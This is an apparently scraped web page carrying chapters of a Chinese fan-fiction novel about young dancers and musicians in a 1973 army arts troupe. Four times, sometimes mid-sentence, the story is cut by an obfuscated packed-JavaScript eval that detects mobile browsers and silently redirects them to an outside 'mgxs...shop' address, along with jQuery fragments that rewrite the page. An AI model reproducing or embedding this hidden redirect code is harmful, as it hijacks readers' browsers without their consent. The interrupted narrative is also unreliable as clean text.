l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309088|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清爽,再去食堂。
萧穗子擦了擦额角的汗,主动走到兆悦和沈一娣身边,语气自然又温和:“我带你们去领东西吧,床铺、蚊帐、脸盆、漱口杯那些,都在后勤那边。”
兆悦抬了抬眼,没像对旁人那样冷淡得拒人千里,只轻轻“嗯”了一声。
她对萧穗子,总归是不一样的。
一样爱写字、一样藏着心事,有些东西不必多说,天生就比旁人近一点。
三人并肩往外走,沈一娣话不多,却一直乖乖跟在兆悦身边。
萧穗子看在眼里,轻声问:“你们两个,早就认识呀?”
沈一娣点了点头,声音细细的:“在大院里就认识,十三四岁就在一起了,有好几年。”
兆悦淡淡补充了两个字:“旧识。”
萧穗子眼里掠过一丝了然,笑了笑:“我十二岁就进文工团了,比你们早来挺久。之后有什么不懂、不方便的,都可以找我。”
兆悦这次语气软了些许:“麻烦你。”
后勤处领完一应物品,萧穗子直接把她们带回女生宿舍。
一推开门,兆悦脚步微顿。
靠窗那张空铺,干净得明显,她一眼就认出来——是后来何小萍会睡的位置。
这间宿舍里,已经有人在了。
林丁丁正对着小镜子擦脸,郝淑雯往床架上挂军用水壶,一看就是常住的模样。
郝淑雯听见动静,回头扫了一眼,目光在兆悦身上顿住。
她是舍长,人又爽快,自带几分管事的底气,开口直接:“你就是兆悦?南方分区过来的?”
兆悦没抬头,把脸盆放在桌角,只淡淡“嗯”了一声。
郝淑雯眉梢挑了挑:“以前在哪个部队吗?家里是做什么的?”
兆悦没理,伸手整理蚊帐挂钩,一个字都懒得蹦。
气氛一下有点僵。沈一娣连忙上前一步,声音轻轻的,却把话圆了过去:“我们……都是大院里的,家里长辈差不多。”
这话一说,郝淑雯眼神微变,没再追着盘问。
干部子弟之间,点到为止,谁都懂分寸。
林丁丁放下镜子,瞟了兆悦一眼,没说话,只轻轻撇了下嘴,继续擦自己的雪花膏。
东西收拾得差不多,窗外天色微微发沉。
有人喊了一声:“洗澡去了,晚了水就凉了!”
姑娘们纷纷拿起澡巾、换洗衣物。
兆悦也拿起自己的东西。
她最忍不了一身汗黏在身上,比谁都积极。
一进澡堂,水雾蒸腾,阵营一下子就分明了。
林丁丁和几个爱俏的姑娘凑在一块儿,边搓澡边小声说笑,话题不离裙子、零食、谁好看谁出挑;郝淑雯嗓门亮,和另外两个爽朗的姑娘站在一处,说话大大咧咧,水花溅得老远;萧穗子安静站在边上,不抢不挤,偶尔应两句。
兆悦找了个靠里的水龙头,独自站定。
沈一娣就在她旁边,安安静静陪着。
水雾缭绕里,谁和谁亲、谁和谁近、谁跟谁合不来,却能一眼看得清清楚楚。
7. 食堂
晚饭的哨声刚落,文工团的食堂里便涌进了大半队员。
长条木桌擦得泛白,搪瓷碗勺碰撞出清脆的声响,混合着馒头、白菜炖豆腐的清淡气息,在昏黄的灯光里漫开。训练了一整天的少年少女们挤挤挨挨地落座,喧闹声裹着烟火气,填满了整间屋子。
萧穗子端着自己的餐盘,脚步轻缓地走到兆悦和小娣身边,餐盘轻轻放在木桌上。她抬眼看向兆悦,语气温和。
“这边有空位,一起坐吧。”
兆悦端着餐盘,目光淡淡扫过桌面,微微点了下头。
这在她而言,已经是极给面子的态度,没有冷淡撇开,也没有多余言语,只是默许了同行。
沈一娣连忙跟着道谢,细声细气地说了句“麻烦穗子”,三人便一同在长凳上坐下。
沈一娣性格温顺,坐下后便安安静静拨着碗里的菜,时不时抬眼看看兆悦,又看看萧穗子,乖巧得不像话。
兆悦则坐姿端正,腰背依旧挺直,哪怕是吃饭,也带着一股不与世俗同流的矜贵,和周围大大咧咧的队员们形成了鲜明对比。
没过片刻,身后便传来了脚步声。
林丁丁端着餐盘走了过来,脸上挂着一贯甜甜的笑意,眼波轻轻一转,便落在了兆悦身上,带着几分打探和不易察觉的较劲。
她没有直接开口,只是顺势坐在了萧穗子身旁,动作自然得仿佛早就约好一般。
紧跟着,郝淑雯也大步走了过来,餐盘往桌上一放,声音爽利,自带一股舍长的气场。
“正好凑一桌,省得再找位置。”
四人落座,食堂里的目光若有似无地飘过来,大多落在兆悦身上。
下午排练厅里那一舞惊艳,早已让她成了整间文工团最扎眼的存在,漂亮、出挑、高傲,还带着一身说不清道不明的气派,想不被关注都难。
兆悦垂着眼,拿着筷子的手指纤细白净,却迟迟没有动菜。
她的目光看似落在自己的碗里,实则早已不动声色地扫过了整张桌子,更扫过了不远处的乐队席位。
因为在这一刻,她清晰地捕捉到——萧穗子的筷子微微顿着,眼神看似平静,却每隔几秒,便会极轻地往斜对角瞟一眼。
兆悦顺着她的目光看过去。
陈灿正和几个男队员坐在一起,肩膀松松垮垮靠着,一边啃馒头一边和身边人说笑,眉梢眼角都带着几分漫不经心的亮堂。
他不沉闷,反而透着一股少年人特有的散漫与热闹,眼风轻,笑意浅,跟谁都能说上两句,天生带点招人的浪漫劲儿。
刚才在排练厅里还只偷偷盯着她看的人,此刻在人群里更是如鱼得水,说话时抬手拍一拍同伴的肩膀,笑起来露出一点虎牙,看着开朗,也看着……不太安分。
兆悦在心里轻轻定了性:玩世不恭。
萧穗子的目光又轻轻飘了过去,快得像怕被人捉住。
兆悦看得一清二楚。
她早从那些故事里知道,萧穗子会把这场暗恋藏很久,原以为那是很久以后的事,没想到一九七三年的此刻,心意已经悄悄发了芽。
她不动声色,只当什么都没看见。
不过她从不会戳破别人藏得好好的心事,没这个爱好。
身旁,一娣和郝淑雯已经聊了起来。
郝淑雯直来直去,问一句,一娣细声细气答一句,不多久两人就熟了几分。
林丁丁坐在一旁,时不时插一句软声软气的话,对谁都和气,对谁都甜,一圈人里,她最会做人。
没过一会儿,桌边忽然安静了半拍。
刘峰走了过来。
他手里端着个小搪瓷缸,步子轻,神情腼腆,目光一落就定在林丁丁身上,带着点藏不住的认真。
他把缸子轻轻往林丁丁面前一推,掀开盖子,里面是几个剥好的橘子,还有用纸包着的几颗核桃。
“下午帮炊事班修了凳子,给的。”
林丁丁眼睛弯起来,笑意甜得恰到好处。
“谢谢你啊刘峰。”
“不麻烦。”刘峰站在旁边,手都不知道往哪儿放。
旁边立刻有人起哄:
“刘峰又给丁丁送好吃的啦!”
“咱们团就数你最疼丁丁!”
林丁丁脸颊微微一红,轻轻啐了一声“别乱讲”,手上却自然而然把橘子拿了起来,一口一口慢慢吃。
不拒绝,不点头,不拉近,不推开,分寸拿捏得刚刚好。
兆悦抬眼扫了一眼。
刘峰赤诚,林丁丁周旋。
谁掏心,谁留路,她一眼看穿。
唇角掠过一丝极淡极淡的轻嗤,转瞬就没了,仿佛只是看了场无关紧要的小戏。
热闹还没散,又一道身影凑了过来。
朱克。
团里最跳脱、嘴最欠的男舞蹈队员,长得不差,就是心浮气盛,最爱凑女生跟前刷存在感。
他往桌边一靠,胳膊搭在桌沿,眼神轻佻地落在兆悦脸上,开口就带点吊儿郎当:
“哎,新来的,你就是下午跳《红色娘子军》那个?”
兆悦眼皮都没抬一下,筷子没动,话没应,连呼吸都没乱半分。
完全当他不存在。
朱克脸上的笑僵了一瞬。
他在团里也算有人捧,从没被人这么晾过,还是当着一桌子人的面。
“问你话呢,听不懂?”
兆悦依旧没理。
朱克脸上挂不住,恼羞成怒又不敢太过分,压低声音哼了一声,故意阴阳怪气:“装什么装,不就会跳个舞吗,摆这么大架子,干脆叫你‘冷美人’得了。”
外号不算难听,可那股挤兑人的劲儿,谁都听得出来。
林丁丁手里的橘子顿了一下。
她没说话,也没拦,眼尾轻轻一挑,嘴角压着一点几乎看不见的笑意。
以前整个文工团,数她最受捧,如今忽然来了个比她出挑、比她扎眼的,她心里本就憋着一股劲。现在有人挤兑兆悦,她乐见其成。
郝淑雯皱了皱眉,想开口说句什么,被小娣轻轻拉了一下。
沈一娣怕事情闹大,更怕兆悦不高兴,只能悄悄打圆场:“她就是不太爱说话,没有别的意思……”
朱克哼了一声,还想说什么,被旁边的男队员拉走了。
可“冷美人”这三个字,已经轻飘飘落在空气里,桌边几个人都听见了。
萧穗子悄悄看了兆悦一眼,眼里带着点担心。
兆悦却依旧神色淡淡,仿佛刚才被起外号的不是她。
轻蔑?不屑?
都有。
但她不屑于跟朱克这种人争一句长短。
越是搭理,越是掉价。
她只是慢慢拿起筷子,夹了一口白菜,动作依旧优雅,姿态依旧高傲。
好像那些议论、试探、挤兑、外号,全都吹不进她半分。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309089|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
食堂里人声鼎沸,有人说笑,有人推拉,有人抱团,有人试探。
窗外天色渐暗,食堂的灯光昏黄却不温暖。
天色彻底暗下来,营区亮起一盏盏昏黄的路灯。
吃过饭的少男少女谁也不愿早早回宿舍,三三两两往文工团后侧那片白杨树下的空地走——那是他们常年饭后扎堆聊天、说笑、打闹的地方,晚风一吹,树叶沙沙响,最是自在。
没一会儿,树下就聚了一堆人。
小芭蕾、卓玛挤在一块儿,叽叽喳喳说个不停;林丁丁靠在郝淑雯肩上,郝淑雯大大咧咧搂着她,一副大姐头护着小姐妹的样子;萧穗子站在旁边,安安静静笑着听,目光时不时往远处飘一飘。
沈一娣也在人群里,时不时回头望一眼。
兆悦是最后一个走出食堂的。
她没打算停留,只想直接回宿舍收拾东西,安安静静待着。
路过白杨树下那片热闹时,她脊背挺直,下巴微抬,连眼角的余光都没分给那群人半分,脚步没慢,更没停。
林丁丁一眼就看见了她。
她轻轻挣开郝淑雯,先开口喊住她,声音甜软又热络,像是关系多好多熟络一般:“兆悦!别走那么早呀,过来一起聊聊天呗,回宿舍多没意思。”
萧穗子也跟着轻声劝:“一起待一会儿吧,大家都在。”
郝淑雯皱了下眉,却也顺着开口:“就是,刚来,跟大伙熟悉熟悉。”
一群人的目光“唰”地全聚在兆悦身上。
好奇、打量、看热闹,应有尽有。
兆悦脚步终于停住。
她没回头,也没看任何人,只淡淡吐出两个字,冷得像晚风:“不要。”
话音落,她抬脚就走,背影笔直,一步没顿,彻底消失在小路尽头。
一群人僵在原地,你看我我看你,气氛一时有些尴尬。
等她走远了,议论声才轻轻冒出来。
“她也太高傲了吧……”
“叫她都不理,架子也太大了。”
“新来的都这么厉害吗?”
林丁丁垂着眼,拨了拨衣角,嘴角压着一丝若有若无的笑意,没说话。
郝淑雯啧了一声,抱着胳膊,一脸不赞同。
萧穗子轻轻咬了下唇,望着兆悦消失的方向,没出声。
人群里,陈灿一直没说话。
他靠在白杨树树干上,从头到尾,目光都锁在兆悦那道高傲又决绝的背影上。
别人都在抱怨、议论、尴尬,他只觉得新鲜。
长这么大,在文工团里,不管是干部子弟还是普通队员,不管是男生女生,谁不是围着他说笑、搭话、多看几眼?他习惯了热闹,习惯了被簇拥,习惯了一开口就有人接话。
可这个兆悦,看都不看他一眼。
别人喊她,她不留;大家劝她,她不听。
明明什么都没做,却比谁都扎眼。
陈灿忽然轻轻笑了一下,笑意很浅,只在眼底一闪而过。
有意思。
他见过温柔的、腼腆的、大方的、会来事的,却从没见过这么——这么浑身带刺、又冷又傲、连敷衍都不肯给的。
别人觉得她难相处,他反倒觉得,比这一院子千篇一律的热闹,有意思多了。
晚风再吹过来,树叶沙沙响。
陈灿依旧靠在树上,眼神散漫,却莫名记住了那个头也不回的背影。
8. 发小
夜色裹着微凉的风,漫进女生宿舍。
白炽灯亮得晃眼,白日里的喧闹还没散,床铺之间的空地上,依旧是叽叽喳喳的说话声。
林丁丁坐在床边,对着小镜子抹雪花膏,一边抹一边和对面的郝淑雯说笑。
郝淑雯大大咧咧地擦着军鞋,嗓门不大不小,刚好一屋子都能听见。小芭蕾和卓玛凑在一块儿,翻着从家里带来的糖纸,你一言我一语,满是少女的细碎热闹。
萧穗子靠在床头,手里捧着一本书,安安静静地看,偶尔被旁边的话逗笑,也只是弯一弯嘴角,不插话,不凑热闹。
只有兆悦的床铺跟前,是一整片安静。
她坐在靠窗的铺位上,脊背挺得笔直,手里捧着一本薄薄的书,书页被她轻轻翻着,没有半点声音。
宿舍里的笑闹、说话、走动,好像都被她自动隔在了外面。
她不加入,不搭腔,不看任何人。
萧穗子翻书的间隙,抬眼望了过去。
她看见兆悦垂着眼睛,睫毛在灯下投下浅浅的影子,神情平静,沉浸在自己的世界里。
同样爱看书、爱安静的人,总有一点莫名的相通。
萧穗子轻轻合上书,慢慢走了过去,站在兆悦的床边,声音放得很轻,怕打扰到她:“你在看什么书?”
兆悦抬了抬眼,没有像对别人那样冷淡到底。
她把书稍稍侧了侧,让萧穗子看见封面,语气清淡,却没有拒人千里:“没什么,随便看看。”
“我也喜欢看书。”萧穗子笑了笑,指了指自己床头,“我那儿还有几本,你要是想看,我可以拿给你。”
兆悦顿了顿,轻轻点了下头:“好。”
一个字,已经是她难得的温和。
萧穗子没有再多问,怕惹她不自在,轻轻说了句“那你先看”,便安静地退回自己的床铺。
宿舍里依旧热闹。
林丁丁时不时往兆悦那边瞟一眼,眼神里藏着点好奇,又藏着点不易察觉的较劲。
郝淑雯大大咧咧,只觉得这新来的姑娘性子太冷,不好相处,却也没多说什么。
兆悦重新低下头看书。
有一搭没一搭的说话声在耳边绕,她却半点不被打扰。
对她而言,这群人的热闹,从来都不是她的热闹。
没过多久,熄灯号远远响了起来。
白炽灯“啪”一声灭掉,宿舍瞬间沉入昏暗,只有窗外透进来一点微弱的月光。
“睡吧睡吧,明天还要早功。”郝淑雯的声音响起。
窸窸窣窣的动静渐渐停下,说话声慢慢淡去,呼吸声此起彼伏,整间宿舍沉入安静。
兆悦合上书本,轻轻放在枕边。
她闭上眼睛,没有丝毫辗转。
天刚蒙蒙亮,文工团的营区里就有了动静。
晨雾还没散,空气里带着草木的清冽,训练场上已经开始有队员出早功。
分队长刚走到办公楼门口,就看见一个少年背着包,手里拎着油纸袋,一路小跑往这边赶。
少年眉眼干净,身形挺拔,跑得略急,额角渗着细汗,却掩不住一身利落劲儿。
是杭春明。
他心里门儿清,再晚几天报到,就要耽误训练了。所以天不亮就动身,顺路捎了兆悦爱吃的点心,用油纸随便一包,顺手得很。
分队长一眼认出他,招了招手:“杭春明,可算到了。”
杭春明停下脚步,规规矩矩敬了个礼:“分队长。”
“跟我去训练厅。”分队长点头,“正好舞蹈队缺人,你今天直接跟上。”
“是。”
杭春明跟着分队长往训练厅走,脚步轻快。
几天不见,他是想他悦儿姐了,但没表现得慌慌张张。
训练厅里,队员们已经到得七七八八,正在压腿、开肩、活动身体。朱克靠在把杆上,还在跟身边的人挤眉弄眼,说着昨天“冷美人”的事儿。
分队长走进来,拍了拍手,把所有人的目光都吸引过来。
“给大家介绍一下,这是新来的队员,杭春明,以后就在舞蹈队训练。”
队员们的目光齐刷刷落在杭春明身上。
少年站得挺拔,神情稳当,一看就是功底扎实的那种。
分队长扫了一眼队伍,很快开口:“兆悦也是新来不久,暂时还没固定搭档,杭春明,你这段时间先跟她搭。”
杭春明应声:“是。”
兆悦只淡淡抬了下眼,没出声,继续压自己的腿。
连一点意外都没有。
分队长又补了一句:“先这么配着,等之后兆悦调到乐队那边,我再给你重新安排搭档。”
说完便去检查其他人热身。
杭春明把背包放在墙边指定的位置,转身便走到兆悦身侧,自然地站定,跟着压腿拉伸。
他凑到兆悦脸边上,嘻嘻一笑,仿佛在说:你看,我成功偷懒了一天。兆悦第一次软了眉眼,无语的撇撇嘴。
这一幕落在众人眼里,所有人的目光都悄悄往这边飘,带着明显的诧异。
昨天还对谁都冷眼相待、连话都不肯多说一句的兆悦,面对这个新来的男队员,竟没有半分排斥与疏离。
杭春明活动了几下脚踝,侧头看了兆悦一眼,语气平常:“我给修好了。”指的是杨铮的小提琴。
兆悦眼都没抬,只从鼻腔里轻轻应了一声“算你没忘记正事。”
萧穗子心里都不禁嘀咕,这应该是兆悦到这来为止,说过最多的一句话了。
热身继续。
兆悦扶着把杆,弯腰压腿,脖颈与腰背拉出一条利落的线条。不过片刻,额角便渗出一层细汗。
杭春明看在眼里,顺手从自己包里抽出一条干净的擦汗巾,不言不语,轻轻递到她手边。
兆悦没抬头,手一伸便稳稳接住,擦了擦额角与鬓边,又一言不发地递回去。
一递,一接,一用,一还。
没有眼神交汇,没有“谢谢”,没有多余表情,流畅得像呼吸一样自然。
所有人都看在眼里,心里不约而同冒出同一个念头:这两个人,绝对早就认识。
只是一屋子心照不宣的惊讶,随着训练的音乐,悄悄压在心底。
正式训练很快开始。
依旧是《红色娘子军》选段,双人配合、托举、换位段落多,最考验搭档默契。
分队长站在前方打节拍:“准备——起!”
音乐一起,全队动了起来。
前面几对搭档动作还算整齐,可一到托举、转身、同步亮相,要么脚步乱,要么节奏差半拍,要么力道不稳,看得分队长频频皱眉。
轮到兆悦和杭春明。
两
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309090|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人同时起步,没有对视,没有示意,甚至没有互相看一眼。
抬手,同步。
沉腰,同步。
踏点,转身,换位,亮相——分毫不差。
杭春明力道干净、托举稳定,不拖泥带水,也不刻意用力。
兆悦姿态舒展、配合默契。
一稳一扬,合在一起,天衣无缝。
同样的动作,别人跳是完成任务。他们跳,仿佛是天生一对。
所有人的目光牢牢锁在两人身上,惊艳、意外、佩服,混在一起,化作无声的注视。
一套动作结束,两人收势立定,呼吸平稳,姿态笔直。
分队长忍不住点头:“好!节奏准,配合稳,力道也到位!就得这么练!”
一句话落下,周围才隐隐响起细碎的抽气声。
但依旧没有人多说什么,所有的好奇与疑惑,全都暂时压在心里,只等着休息时再一一问出。
休息哨声响起。
杭春明第一时间拿起自己的水壶,拧开盖子递到兆悦面前,又拿出油纸袋里的点心,轻轻放在她手心。
一连串动作自然流畅,全然是刻在骨子里的习惯。
兆悦坦然接过,没有推辞,没有客气。
这一幕再次落在众人眼里,大家都看得明白,这两人之间,有旁人插不进去的世界。
训练继续。
兆悦与杭春明始终是全场最稳、最亮眼的一对,每一次配合都精准默契,每一次亮相都干净漂亮。
分队长的目光几乎没从他们身上移开过,满意之色溢于言表。
直到中午的下课哨声响起,训练正式结束。
一行人收拾东西,结伴走向食堂。
阳光正好,路上人声渐起,憋了一整个早上的疑问,终于按捺不住。
郝淑雯走在前面,率先回头,看向走在稍后方的兆悦与杭春明,语气爽利,直接开口:“我说你们俩,是不是早就认识啊?”
一句话,立刻把所有人的注意力都拉了过来。
萧穗子、沈一娣、小芭蕾、卓玛,连同旁边的男队员,全都齐刷刷看了过来。
一早上的疑惑,终于有了出口。
兆悦淡淡抬眼,没说话,态度依旧是那副不冷不热的模样。
杭春明笑了笑,坦然点头:“嗯,我们三个从小一起长大,悦儿、我,还有杨铮。”
一句话,答案揭晓。
周围立刻响起一片恍然大悟的轻呼声。
难怪配合那么默契,难怪态度那么自然,难怪兆悦只对他不一样。
原来不是偶然,是从小长到大的情分。
郝淑雯一拍手:“我说呢!一看就不对劲,原来是发小!”
萧穗子轻轻笑了起来,眼里的疑惑尽数散去,只剩下了然。
沈一娣跟着点头,脸上露出温和的笑意。
连一旁的朱克,都悄悄收起了那点不服气。
人家是从小一起长大的交情,自然和旁人不一样。
林丁丁站在人群里,没有说话,只是安静听着,脸上依旧挂着温和的笑,只是眼底那点复杂的心绪,轻轻一闪而过。
兆悦自始至终没多说什么,依旧是那副清淡高傲的样子。
杭春明则自然而然地站在她身侧,替她答话,替她解围,一举一动,依旧是从小到大的习惯。
9. 晚风
清晨的薄雾还没完全散开,文工团食堂里已经飘着馒头和稀粥的香气。
杭春明一早就去炊事班那边转了一圈,回来时,手里除了自己的餐盘,还多了两个白白胖胖的煮鸡蛋。
他走到桌边,一言不发地把蛋壳剥得干干净净,连一点薄膜都不剩,轻轻推到兆悦面前。
兆悦低头看了一眼,顺手拿起,轻轻磕开一点,蛋白里露出来的却是紧实的蛋黄。
她眉头几不可查地一蹙,把鸡蛋直接递回给杭春明,声音轻淡,却带着几分被惯出来的小挑剔:“不是糖心的,我不吃。”
杭春明二话没说,接过来,直接把整个蛋黄塞进嘴里,嚼了两下就咽了下去,半点不嫌弃,只低声应了句:“下次我跟炊事班说一声。”
兆悦没再说话,重新拿起另一个,慢慢吃了起来。
坐在对面的郝淑雯把这一幕看在眼里,忍不住笑出声,声音爽利又直白:“可以啊杭春明,我看咱们文工团,这是又要多一个活雷锋了。”
桌上几人都笑了起来。
杭春明只是抿了抿嘴,没解释,也没不好意思。
替兆悦跑腿、递东西、照顾吃喝,这么多年早成了本能,哪里需要什么理由。
萧穗子安静地喝着粥,嘴角浅浅一弯。
沈一娣也低着头,默默吃饭,不多言语。
一顿早饭安安静静吃完,就没有多余的眉眼官司了。
乐队的训练比舞蹈队早。
杨铮抱着修好的小提琴,早早就到了练习室,调着音,琴弦在指尖下发出清亮的声响。
舞蹈队这边却还拖拖拉拉。
姑娘们凑在宿舍里,对着小镜子梳头发、抹雪花膏,你帮我编辫子,我帮你理衣领,叽叽喳喳,半天挪不动脚。
今天的兆悦,和往日不太一样。
她懒得和她们挤在一起磨蹭,自己安安静静梳了一头鱼骨编发,发丝服帖整齐,顺着肩头垂落,衬得侧脸线条愈发清晰,气质干净又出挑。
不张扬,却一眼就能从人堆里揪出来。
等她一进训练厅,不少正在压腿的姑娘都下意识顿了动作,目光齐刷刷落在她头发上。
“哇,兆悦,你这辫子好好看。”
“这是怎么编的呀?也太巧了。”
“你手好巧啊,教教我们呗。”
七嘴八舌的夸赞涌过来。
兆悦只是轻轻抬了下眼,睫羽微垂,下巴线条绷得干净利落,没应声,没解释,也没有半分波澜,径直走到把杆旁开始热身。
姑娘们碰了个不软不硬的钉子,早都气过这冷美人几百次了,现在也只是收回目光,继续各自的训练。
就在这时,训练厅门口进来一道身影。
杨铮抱着琴站在那儿,身形清瘦,气质干净温和,一身军装挺括利落,站在晨光里,自带几分清朗好看的气度,引得不少女生悄悄抬眼。
杨铮一眼就看到了人群里最惹眼的兆悦,远远朝她点了下头,语气自然:“小悦早上好。”
兆悦指尖顿了顿,淡淡回了一声:“早上好。”
两人只是一个照面,一句话,却因为兆悦太过惹眼,在人群里显得格外突出。
杨铮目光一转,也看到了站在旁边的沈一娣,同样温和地打了个招呼:“一娣早上好。”
沈一娣眼睛微微一亮,连忙小声应道:“杨铮哥好。”
只是这声招呼,落在众人眼里几乎没掀起半点波澜。所有人的注意力,还在兆悦和杨铮那一下极淡的互动上。沈一娣却半点不在意,嘴角轻轻弯起,心里太子的,只觉得自己真正融进了这个小圈子。
一整天的训练枯燥又累人。
重复的基本功、队形、走位、托举、旋转,没有太多勾心斗角,也没有没完没了的眼神官司,所有人都被累得没心思多想。
中午吃饭,还是那几个人老样子坐在一起。
安安静静吃饭,偶尔聊几句训练的事,简单又平常。
兆悦依旧话少,垂着眼吃饭,动作轻缓,不抢不闹。
杭春明依旧坐在她旁边,顺手给她递水、递纸巾,自然得不能再自然。
下午下训格外早,刚到五点,一天的训练就结束了。
洗澡、吃饭、收拾利索,一群人又扎堆跑到女生宿舍楼底下聊天说笑,正是文工团一天最轻松的时候。
杭春明已经彻底跟大家混熟了,跟男队员们说笑打闹,跟卓玛、小芭蕾也能聊得火热。
他往宿舍楼门口望了一眼,扬声朝上喊了一声:“悦儿姐,下来待一会儿。”
所有人都下意识安静了一下,等着看她会不会理会。
结果没一会儿,兆悦真的从楼里走了出来。
她穿着干净的衬衫,头发松松挽着,步子不急不缓,目光平静地落在人群里,没有多余情绪。
众人脸上都露出一丝惊讶。
平时谁喊都不应的人,杭春明随口一叫,她就真的下来了。
大家心里一下子都明白了:整个文工团,也就只有杭春明,能叫得动她。
林丁丁站在一旁,看着杭春明被一群人围着,主动凑了过去,笑着搭话,语气热络。
杭春明随口应着,目光却还落在兆悦身上。
正热闹着,刘峰匆匆走了过来,一脸诚恳:
“团里宣传股那边要整理文件、装订材料,还要搭个临时文件架,我一个人手不够,还得找三个人帮帮忙。”
郝淑雯一听就来了兴致,大手一挥:“我去!闲着也是闲着。”
萧穗子也轻轻点头:“我也去。”
人群一下子就散了大半。
有的要去帮忙,有的偷偷约着去鸡窝那边摸鸡蛋,原本热热闹闹的一圈,转眼就稀稀拉拉没剩几个人。
兆悦站在原地,看了一眼散掉的人群,声音轻淡:“我去散步。”
杭春明下意识道:“我陪你。”
兆悦抬眼瞥了他一下,眼神平静,语气却带着几分笃定:“你?上次在大院,走两步就躺椅子上不动了。”
周围几个人“噗嗤”一声没忍住笑了出来。
杭春明挠了挠头,有点不好意思。
他确实不爱散步,走一会儿就累,更愿意跟大伙在一块儿聊天打闹。
杨铮往前站了一步,温声道:“那我陪——”
话还没说完,刘峰忽然一拍脑袋:“哦对了,还缺一个!要个子高一点的男生,搭架子够得着,谁有空?”
杨铮本就站在刘锋旁边,此时这么一说,骨子里带着那个年代人特有的热心肠,就应道:“我去吧。”
兆悦轻轻颔首,神色无波:“那我自己去就行。”
说完,她转身就朝营区外那条安静的小路走去,背影挺直,步履从容,没有回头。
她没走多久,就察觉到身后有人跟着。
脚步不紧不慢,不远不近。
兆悦没有慌,也没有顿步,只是缓缓转过身,望着后方,目光清清淡淡,没有躲闪,也没有质问。
她就那样看着,几秒后,面无表情地转回头,继续往前走,仿佛身后的人根本不存在。
跟着她的人,是陈灿。
陈灿原本以为,被人这样跟着,对方要么会局促害羞,要么会生气质问,要么会加快脚步躲开。
可兆悦偏偏哪样都不是。
她就那样平静地回头看他,明明白白表示“我知道你在跟着我”,然后就像什么都没发生一样,继续走自己的路。
不恼,不躲,不闹,不拆穿。
也不把他放在眼里。
陈灿先是一愣,随即忍不住轻轻笑了一声。
完全出乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309091|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他的意料。
也正因为出乎意料,才让他一下子觉得,这个人实在太有意思了。
他收了笑,不远不近地跟了上去。
不靠近,不搭话,就保持着三四步的距离。
兆悦走左边,他走右边;兆悦慢,他也慢;兆悦脚步不停,他也跟着匀速。
偶尔装作看天边的晚霞,偶尔瞥一眼路边的树,眼神明明落在她身上,却装得漫不经心。
两人就这么一前一后、隔着不大不小的距离走着。
外人远远瞅着,只当是两个碰巧同路的人,谁也看不出他是特意跟着她。
两人就这么一前一后、隔着不远不近的距离走着,谁也没有开口。
兆悦目不斜视地往前,陈灿则漫不经心地跟在侧后方,时而看看天边沉下去的落日,时而踢踢路边的小石子,姿态闲散,却半步都没有落下。
一路安静,直到女生宿舍楼下,兆悦径直走了进去,没有回头,也没有多余的反应。
陈灿在楼下站了片刻,望着楼道口轻轻扬了下眉,才转身慢悠悠离开。
天色渐渐暗下来,营区里的灯一盏盏亮起。
因为杭春明的加入,原本就熟络的老队员和新来的几人相处得愈发融洽,连带着对兆悦,也莫名多了几分亲近感,不再像最初那样只敢远远打量。
郝淑雯是宿舍长,性子向来爽利大方,见几人聚在楼下说话,便笑着朝兆悦开口:“兆悦,跟你说个事,过几天是小芭蕾的生日,我们打算凑钱一起买个蛋糕,到时候你也来吃哈。”
兆悦眉眼平静,语气清淡地回了两个字:
“不用了。”
郝淑雯半点不恼,正想再劝一句,萧穗子轻轻走了过来,语气温温柔柔地打圆场:“没事的,我们一直都有这个习惯,谁过生日就一起买个蛋糕,大家分着吃,你过来一起凑个热闹就行。”
兆悦垂了垂眼,语气依旧没什么起伏:“我不吃蛋糕,太甜了。”
她心里清楚,如今这年月的蛋糕奶油粗糙甜腻,她实在吃不惯。
一旁的林丁丁却忽然笑着插了话,语气听着温和体贴,话里话外却藏着弯弯绕绕:“也是,可能兆悦平时吃得精细,瞧不上这些,咱们也是穷开心,图个热闹罢了,她不愿意也正常,咱们别勉强人家。”
这话一落,旁边几人的脸色都微微变了变。
明明是在替兆悦解释,却偏把人架在了“看不起人、故意不合群”的位置上。
兆悦原本懒得计较,可这话听得她心头微沉。
她可以不理人,可以疏离,却容不得别人在一旁暗戳戳挑拨是非。
